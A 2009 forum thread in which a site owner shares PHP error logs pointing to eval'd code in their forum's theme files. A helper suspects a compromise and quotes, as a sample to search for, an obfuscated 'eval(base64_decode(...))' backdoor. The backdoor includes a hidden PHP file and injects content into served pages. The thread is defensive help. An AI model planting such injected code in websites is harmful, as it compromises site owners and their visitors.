I wa scurious if these error messages were caused by a spambot

Started by hygron, July 04, 2009, 04:33:41 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

hygron

Took me forever to figure out how to post new topic.   :blush:


I have a question for one of you more experienced folks regarding error messages generated by new members.  some were from guest usergroup w/same IP, then I see where IP joined forum, and generated similar error messages.  Is this what you see when a spambot is trying to gain access?

here are some error messages wth the IP (started with 41.xxx.xxx.xx and part of (url.path) deleted.

: Undefined variable: R9DB9E103E88D622316D42B508D6D11AB
File: /home/content/hygron/html/forum1/forum1/Themes/default/TPortal.template.php (eval?)
Line: 1
   June 23, 2009, 02:28:22 AM
Guest    8: Undefined index: dhhag
File: /home/content/hygron/html/forum1/forum1/Themes/default/TPortal.template.php (eval?)
Line: 1
   June 23, 2009, 02:28:22 AM
Guest    2: gzinflate() [<a href='function.gzinflate'>function.gzinflate</a>]: data error
File: /home/content/hygron/html/forum1/forum1/Themes/default/TPortal.template.php (eval?)
Line: 1
   June 23, 2009, 02:28:22 AM
Guest    2: strpos() [<a href='function.strpos'>function.strpos</a>]: Offset not contained in string
File: /home/content/hygron/html/forum1/forum1/Themes/default/TPortal.template.php (eval?)
Line: 1
   June 23, 2009, 02:28:22 AM
Guest    8: Undefined variable: context
File: /home/content/hygron/html/forum1/forum1/Themes/default/TPortal.template.php (main_above sub template - eval?)
Line: 689
   June 23, 2009, 02:28:22 AM
Guest    8: Undefined variable: context
File: /home/content/hygron/html/forum1/forum1/Themes/default/TPortal.template.php (main_above sub template - eval?)
Line: 687
   June 23, 2009, 02:28:22 AM
Guest    8: Undefined variable: context
File: /home/content/hygron/html/forum1/forum1/Themes/default/TPortal.template.php (main_above sub template - eval?)
Line: 685
   June 23, 2009, 02:28:22 AM
celina111    8: Undefined index: dhhag
File: /home/content/hygron/html/forum1/forum1/Themes/default/languages/TPortal.english.php (eval?)
Line: 1
?action=logout;sesc    June 23, 2009, 02:28:21 AM
celina111    8: Undefined index: dhhag
File: /home/content/hygron/html/forum1/forum1/Themes/default/Memberlist.template.php (eval?)
Line: 1
?action=mlist    June 23, 2009, 02:27:47 AM
celina111    2: gzinflate() [<a href='function.gzinflate'>function.gzinflate</a>]: data error
File: /home/content/hygron/html/forum1/forum1/Themes/default/Memberlist.template.php (eval?)
Line: 1
?action=mlist    June 23, 2009, 02:27:47 AM
celina111    2: strpos() [<a href='function.strpos'>function.strpos</a>]: Offset not contained in string
File: /home/content/hygron/html/forum1/forum1/Themes/default/Memberlist.template.php (eval?)
Line: 1
?action=mlist
Currently building these websites:  Feel free to have a look.
http://hygronomics.com   http://bonneaupepperfarm.com

Skhilled

Crap! I think you've been hacked but not sure. I googled the "Undefined index: dhhag" error and most of the topics I've read are where the forum was hacked.

Give me a few to finish reading up on it for you.

Skhilled

Check your smf php files and see if any of the index.php or theme files have something like this in them:

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdlmKGZpbGVfZXhpc3RzKCcvaG9tZS92b3dvZmF
wYS9wdWJsaWNfaHRtbC9mb3J1bS9GQ0tlZGl0b3IvZWRpdG9yL2ZpbGVtYW5hZ2VyL2Jyb3dzZXIvZGVmYXVsdC9pbWFnZXMvaWNvbnMvMzIvY29wcGVyLnBocCcpKXtpbmNsdWRlX29uY2UoJy9ob21lL3Zvd29m
YXBhL3B1YmxpY19odG1sL2ZvcnVtL0ZDS2VkaXRvci9lZGl0b3IvZmlsZW1hbmFnZXIvYnJvd3Nlci9kZWZhdWx0L2ltYWdlcy9pY29ucy8zMi9jb3BwZXIucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ
1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJGQpeyRmPW9yZChzdWJzdHIoJGQsMywxKSk7JGg9MTA7JGU9MDtpZig
kZiY0KXskZT11bnBhY2soJ3YnLHN1YnN0cigkZCwxMCwyKSk7JGU9JGVbMV07JGgrPTIrJGU7fWlmKCRmJjgpeyRoPXN0cnBvcygkZCxjaHIoMCksJGgpKzE7fWlmKCRmJjE2KXskaD1zdHJwb3MoJGQsY2hyKDAp
LCRoKSsxO31pZigkZiYyKXskaCs9Mjt9JHU9Z3ppbmZsYXRlKHN1YnN0cigkZCwkaCkpO2lmKCR1PT09RkFMU0UpeyR1PSRkO31yZXR1cm4gJHU7fX1mdW5jdGlvbiBkZ29iaCgkYil7SGVhZGVyKCdDb250ZW50L
UVuY29kaW5nOiBub25lJyk7JGM9Z3pkZWNvZGUoJGIpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRjKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJGMpO
31lbHNle3JldHVybiBnbWwoKS4kYzt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ=='
)); ?>

Skhilled

This is about the user in question...

* Link is no longer valid...

Skhilled